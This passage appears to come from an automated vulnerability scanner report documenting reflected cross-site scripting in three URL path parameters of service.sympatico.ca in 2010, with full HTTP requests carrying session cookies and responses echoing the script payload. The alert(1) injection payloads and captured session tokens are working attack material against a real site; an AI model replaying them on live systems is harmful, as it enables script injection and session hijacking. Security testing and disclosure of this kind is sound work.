The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1f2db"><script>alert(1)</script>66a995a563 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C1f2db"><script>alert(1)</script>66a995a563/images/icons/vi_topNavHomephone.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:06 GMT
Connection: close
Set-Cookie: SMSESSION=lY0epvX8c30ooNKHAVNQtHdNMB3wEzwiePkeIrzqxBSGO/JyMz7gCe0hMTdfOZI4iW5LOPdsNHf3SNayN2w8ZF/IousDH7abX7UXhEFmsr6NZbcx4Wlp5sh9IaKLqpelSTjNoq0eHBmgr9zkHwNDfJBMDPsDdQQ7uJEzUBsMt7fzR24spTlalp095EHrdMy208e2nbhPbHGo558cHRKj034FsPrhxLSC9lRJznloIso5j5g9xqLnKK4Kn+16uFtg8Q+FuMGjC7AD0fLURiXLKUvJ8PrMk6tNkhcPaOjpTxKBRq0dGYZXhQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:07 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:07 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:07 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:07 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:07 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:07 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C1f2db"><script>alert(1)</script>66a995a563/images/icons/vi_topNavHomephone.png" />
...[SNIP]...

2.150. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89bc2"><script>alert(1)</script>f7a00a63e6f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images89bc2"><script>alert(1)</script>f7a00a63e6f/icons/vi_topNavHomephone.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:13 GMT
Connection: close
Set-Cookie: SMSESSION=DWh/VQ1jdAiMiKa4K4+QCx/qP+yGGFMg583ierA//IaijaOYFKVxDP9QZXmlNWSKim542Afa7wWfIoav1rgXZJWem64SRMKHcgKZaDoCp3YSF43V6Em+UuE6u4CAibRkV4QiyyPXLbkRFa4UjixXHUrBOEURisomy0XRGPTNAwQIOshWLav0H565A0El92E05Cae1WGPL4pkukZJexkdna7xQzrE+7TwG7ogLtUVJ4EmFJt/vpYlfQ8OWWTno9uelTkZgF2q60ucJrJlrNEmM57oJOkG+jUwTSYZBY+D2iL9erIJKAeAvg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:14 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images89bc2"><script>alert(1)</script>f7a00a63e6f/icons/vi_topNavHomephone.png" />
...[SNIP]...

2.151. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a064"><script>alert(1)</script>392f7243457 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons2a064"><script>alert(1)</script>392f7243457/vi_topNavHomephone.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:19 GMT
Connection: close
Set-Cookie: SMSESSION=cMoTITQ3dgAOoJu3UEjhzufkynV4UlyZobOzYLAEIKx+GXyUJlqo5bjJDlciT+9r6kOEWzBwXw1MhHNcX7C4kNWuOTtWIDRSm01AAY7IdHco39sDSSvo7FucID83Ai65LwBdBNhIqB3W80mSGnt5jKXsTrVlWBgOw5r8F1lURXKlTrz+yWlBCcesq1okq1u0phxmznHF2gGs3XsS4aeHbq/UU0kIcoA6tIVEKuxD514RVy0mCbSdgHuZWZmZ+aT7TcPTtFoyAmXIQtC1A6dygDag32Ru5vP0Bz2PKq/Kgu+iEQlv47s3CA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:20 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:20 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:20 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:20 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:20 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

